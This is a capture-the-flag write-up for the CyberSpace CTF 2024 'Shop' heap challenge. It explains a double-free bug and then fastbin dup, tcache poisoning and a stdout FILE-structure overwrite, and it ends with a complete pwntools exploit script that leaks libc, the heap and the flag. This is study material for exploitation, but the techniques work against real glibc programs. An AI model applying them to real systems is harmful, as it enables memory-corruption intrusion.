---
# System prepended metadata

title: CyberSpace CTF 2024 WRITEUP - PWN/Shop

---

# CyberSpace CTF 2024 WRITEUP - PWN/Shop

## Reverse
![image](https://hackmd.io/_uploads/Sy3dbsNh0.png)
![image](https://hackmd.io/_uploads/rkP9Ws4hA.png)

Since IDA tells "analysis failed", I will patch the program and rename the function to make it easier to analyze.

![image](https://hackmd.io/_uploads/BJujzsN3C.png)

---

```main()```:
![image](https://hackmd.io/_uploads/Sy6T8nN30.png)

---

```save_flag_to_heap()``` or ```sub_12A8()```:

![image](https://hackmd.io/_uploads/H1P7vnEh0.png)

The function ```sub_12A8()``` reads the flag into a buffer on the heap

---

```print_menu()``` or ```sub_1365()```:

![image](https://hackmd.io/_uploads/H1tFuhE2R.png)

---

```buy_pet()```:

![image](https://hackmd.io/_uploads/S1U8Y24nC.png)

Let's examine, this function is quite simple. It will allocate memory, save pointer and size into ```pets_list``` and ```size_list```. The ```check_size(size-1)``` limits the size we want to allocate, less than ```0x1501```. It also limits the maximum number of allocations (32 slots)

---

```edit_name()``` or ```sub_1523()```:

![image](https://hackmd.io/_uploads/rkGtsnNh0.png)

---

```refund()``` or ```sub_15F6()```:

![image](https://hackmd.io/_uploads/rkgj334nR.png)

Just read the index of the chunk and free.

---

## Vulnerability

In ```refund()```, the pointer is not set to NULL after the heap chunk is freed -> **Double Free vulnerability**.
But, this program does not have any option to print out data.

---

## Exploit

```Glibc version 2.31```

Our goal: Leak the base address of libc -> Leak the base address of heap -> Leak the flag in the heap

---
The first step is to obtain the address of libc, you can do this by creating a big chunk (chunk size > 0x410 bytes to insert it to unsorted bin instead of tcachebin when free) and then freeing it. Now its forward pointer and backward pointer will point to unsorted bin.

```python=1
for i in range(7):
    buy_pet(r, 0x70-8) #index from 0...6

buy_pet(r, 0xc0-8) # index 7
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9
buy_pet(r, 0x500-8) # index 10
buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk)

refund(r, 10) #index 10 is now FREE (this chunk is now in unsortedbin)

buy_pet(r, 0x70-8) # index 10 - contains address of libc
buy_pet(r, 0x490-8) # index 12
```

We note that the chunk at index 10 will contain the address of the libc that will be used later.

---
We will perform the **fastbin dup** because the fastbin double-free check only ensures that a chunk being freed into a fastbin is not already the first chunk in that bin.

Fill up tcache first
```python=14
for i in range(7):
    refund(r, i) # fill up tcache size of 0x70
    # index from 0...6 are now FREE
```

Perform
```python=17
refund(r, 9) # index 9 is now free
refund(r, 8) # index 8 is now free
refund(r, 9) #fastbin dup
#fastbin size 0x70 -> 9 -> 8 -> 9

# malloc from tcache bin
for i in range(7):
    buy_pet(r, 0x70-8) #index from 0...6
```


Fastbin with size 0x70 will have 3 available chunks
```python=25
buy_pet(r, 0x70-8) # index 8
```
After the first malloc from fastbin, the 2 remaining chunks in fastbin will be dumped to tcachebin with corresponding size. This is called "Tcache dumping".


Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper```
![image](https://hackmd.io/_uploads/BJNdv9rnR.png)



---> **Tcache poisoning** (tricking malloc into returning a pointer to an arbitrary location) -> **Arbitrary write**


Read more: [Glibc 2.31 - Tcache poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c)


**Once we have an arbitrary write, where do we write?**

While learning about FSOP (File Stream Oriented Programming), I learned how to achieve ```arbitrary reads``` by overwriting the ```_IO_2_1_stdout_``` structure.

More details: [@kyr04i - FSOP attack](https://hackmd.io/@kyr04i/SkF_A-fnn#3-LEAK-LIBC-VIA-_IO_FILE-READ-PRIMITIVE) and [Play with FILE structure - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf)

```C
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```
We will overwrite ```_flags = _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING | _IO_MAGIC = 0xfbad1800``` along with ```_IO_write_base``` (in ```_IO_2_1_stdout_```) to the appropriate values so that when the ```puts()``` is called. The data between ```_IO_write_base``` and ```_IO_write_ptr``` will be printed out.

Flowchart of ```puts()``` (From **@kyr04i**) after bypassing the checks:


```C
puts(str)
|_ _IO_new_file_xsputn (stdout, str, len)
   |_ _IO_new_file_overflow (stdout, EOF)
      |_ new_do_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
         |_ _IO_new_file_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
            |_ write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
```
---

Back to our script, tcache bin (size 0x70) now has 2 available chunks. Lets take it out

```python=26
		buy_pet(r, 0x70-8) # index 9

		buy_pet(r, 0x70-8) # index 13
		# index 8 = index 13
```

Now we have 2 pointers pointing to the same chunk (index 8 and 13)

![image](https://hackmd.io/_uploads/BJkQ8jr3A.png)



Because of the [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f), i will perform Tcache poisoning like this:

```python=30
refund(r, 0) # index 0 is now FREE
refund(r, 9) # index 9 is now FREE
refund(r, 8) # index 8 is now FREE
#tcache [size 0x70] -> 8 -> 9 -> 0
```

![image](https://hackmd.io/_uploads/B1Grqjr2R.png)



```python=34
edit_name(r, 13, b"\xf0")
```

![image](https://hackmd.io/_uploads/BJMC9jBnC.png)


```offset of _IO_2_1_stdout_ = 0x1ed6a0```
```offset in chunk 0x55ea894b57f0 = 0x1ed010```

```python=35
buy_pet(r, 0x70-8) # index 0
edit_name(r, 10, b"\xa0\xc6") # guessing right here
```

![image](https://hackmd.io/_uploads/rJc7aoS20.png)


Note that we only know the 3rd Least significant nibble (address of ```_IO_2_1_stdout_```) is ```0x6a0``` (based on offset) and we "don't know" what the next nibble is. So we have to guess (I will guess ```0xc```), the probability of us guessing correctly is ```1/16```

![image](https://hackmd.io/_uploads/BJIXRor3R.png)


If we guess wrong, it can cause Segmentation fault. Try it again!

If we guess correctly, we will be able to overwrite ```_IO_2_1_stdout_```!

---

Let's examine ```_IO_2_1_stdout_```:

![image](https://hackmd.io/_uploads/SyPMb2H3R.png)

Our goal is to override ```_flags``` and ```_IO_write_base``` so that the program prints out the data between ```_IO_write_base``` and ```_IO_write_ptr``` when ```puts()``` is triggered. Since we don't know the ```libc``` address, we should override the least significant byte of ```_IO_write_base``` to a value < ```0x23```

```_IO_write_base = 0x7fde2429c723```

![image](https://hackmd.io/_uploads/Sye_G3H30.png)

Looking at address ```0x7fde2429c708```, we see that it is storing an address belonging to ```libc```. So we will overwrite the least significant byte of ```_IO_write_base``` to ```0x08```. So when ```puts()``` is called, the data between ```0x7fde2429c708``` and ```0x7fde2429c723``` will be printed out.

```python=37
buy_pet(r, 0x70-8) # index 8

buy_pet(r, 0x70-8) # index 9 - IMPORTANT
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3 + b"\x08"
edit_name(r, 9, payload)

print("[*] SUCCESS!")
libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980
print("[*] libc: ", hex(libc.address))

unsorted_bin = libc.address+0x1ecbf0
```

![image](https://hackmd.io/_uploads/H1teVnB2A.png)

We have successfully leaked libc!!

The next step will be to leak the base address of heap.

---

We will leak the base address of heap by leaking data from ```main_arena``` using the same technique to leak the address of ```libc```


Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper```
![image](https://hackmd.io/_uploads/BJI5Nnr3C.png)

It contains a lot of useful information, top chunk address,...

I will leak unsorted bins forward pointer, you can leak the address of top chunk if you want ^^

```python=49
# Leak heap
buy_pet(r, 0x500-8) # index 14
buy_pet(r, 0x18) # index 15

refund(r, 14) # 


flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(unsorted_bin) # write_base
payload += p64(unsorted_bin+6) # write_ptr


payload += p64(unsorted_bin+6)*2

payload += p64(unsorted_bin+6+1)
edit_name(r, 9, payload)

heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00
print("[*]heap: ", hex(heap_leak))
```



I don't want this else if block to be executed so I'll leave ```_IO_write_end = _IO_write_ptr```


```C
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
    ...
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
	count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
    ...

}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
```

![image](https://hackmd.io/_uploads/ryBXd3B2A.png)

We have leaked the heap address. Finally, calculate the address where the ```flag``` is stored and use ```FSOP``` again to print it out.

```python=69
# lets print the flag!!!
target = heap_leak+0x308

flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(target) # write_base
payload += p64(target+0x40) # write_ptr


payload += p64(target+0x40)*2

payload += p64(target+0x40+1)
edit_name(r, 9, payload)

r.interactive()
```

```
CSCTF{26f8aa2b094cc646137e7da9778584d1}
```

![image](https://hackmd.io/_uploads/Hy9pY3r20.png)


### Script
```python=
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

DEBUG = 0


if args.LOCAL:
	#r = process([exe.path])
	if DEBUG:
		gdb.attach(r, gdbscript='''
			start
			''')
else:
	#r = remote("shop.challs.csc.tf", 1337)
	print()

def buy_pet(r, size):
	r.sendlineafter(b"> ", b"1")
	r.sendlineafter(b"How much? ", f"{size}".encode())
def edit_name(r, index, payload):
	r.sendlineafter(b"> ", b"2")
	r.sendlineafter(b"Index: ", f"{index}".encode())
	r.sendafter(b"Name: ", payload)

def refund(r, index):
	r.sendlineafter(b"> ", b"3")
	r.sendlineafter(b"Index: ", f"{index}".encode())


def main():
	while True:
		r = process([exe.path]) # for local
		#r = remote("shop.challs.csc.tf", 1337) # for remote


		for i in range(7):
			buy_pet(r, 0x70-8) #index from 0...6

		buy_pet(r, 0xc0-8) # index 7
		buy_pet(r, 0x70-8) # index 8
		buy_pet(r, 0x70-8) # index 9
		buy_pet(r, 0x500-8) # index 10
		buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk)

		refund(r, 10) #index 10 is now FREE
		
		buy_pet(r, 0x70-8) # index 10 - contains address of libc
		buy_pet(r, 0x490-8) # index 12

		for i in range(7):
			refund(r, i) # fill up tcache size of 0x70
			# index from 0...6 are now FREE

		refund(r, 9) # index 9 is now free
		refund(r, 8) # index 8 is now free
		refund(r, 9) #fastbin dup
		#fastbin size 0x70 -> 9 -> 8 -> 9

		# malloc from tcache bin
		for i in range(7):
			buy_pet(r, 0x70-8) #index from 0...6


		#r.interactive()

		buy_pet(r, 0x70-8) # index 8

		buy_pet(r, 0x70-8) # index 9

		buy_pet(r, 0x70-8) # index 13
		# index 8 = index 13


		refund(r, 0) # index 0 is now FREE
		refund(r, 9) # index 9 is now FREE
		refund(r, 8) # index 8 is now FREE
		#tcache [size 0x70] -> 8 -> 9 -> 0



		edit_name(r, 13, b"\xf0")

		buy_pet(r, 0x70-8) # index 0
		
		
		try:
			edit_name(r, 10, b"\xa0\xc6")
			buy_pet(r, 0x70-8) # index 8

			buy_pet(r, 0x70-8) # index 9 - IMPORTANT
			flag = 0xfbad1800
			payload = p64(flag) + p64(0)*3 + b"\x08"
			edit_name(r, 9, payload)
		except EOFError:
			print('[*] fail')
			r.close()
			continue

		

		test = r.recv(20)
		if len(test) <= 5:
			r.close()
			continue
		if (test[5] >> 4) != 7:
			r.close()
			continue
		
		print("[*] SUCCESS!")
		libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980
		print("[*] libc: ", hex(libc.address))

		unsorted_bin = libc.address+0x1ecbf0


		# Leak heap
		buy_pet(r, 0x500-8) # index 14
		buy_pet(r, 0x18) # index 15

		refund(r, 14) # 


		flag = 0xfbad1800
		payload = p64(flag) + p64(0)*3
		payload += p64(unsorted_bin) # write_base
		payload += p64(unsorted_bin+6) # write_ptr


		payload += p64(unsorted_bin+6)*2

		payload += p64(unsorted_bin+6+1)
		edit_name(r, 9, payload)

		heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00
		print("[*]heap: ", hex(heap_leak))

		#gdb.attach(r, gdbscript='''
		#	start
		#	''')


		# lets print the flag!!!
		target = heap_leak+0x308

		flag = 0xfbad1800
		payload = p64(flag) + p64(0)*3
		payload += p64(target) # write_base
		payload += p64(target+0x40) # write_ptr


		payload += p64(target+0x40)*2

		payload += p64(target+0x40+1)
		edit_name(r, 9, payload)




		# CSCTF{26f8aa2b094cc646137e7da9778584d1}

		# good luck pwning :)

		r.interactive()


if __name__ == "__main__":
	main()

```
## Similar challenge
[pwnable.tw - Heap Paradise](https://pwnable.tw/challenge/#35)

## References
[https://hackmd.io/@kyr04i/SkF_A-fnn](https://hackmd.io/@kyr04i/SkF_A-fnn)
[Play with FILE Structure - Yet Another Binary Exploit Technique - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf)
[https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise](https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise)
HeapLab - GLIBC Heap Exploitation - Max Kamper
[how2heap - Glibc_2.31](https://github.com/shellphish/how2heap/tree/master/glibc_2.31)
[https://elixir.bootlin.com/glibc/glibc-2.31/source/](https://elixir.bootlin.com/glibc/glibc-2.31/source/)







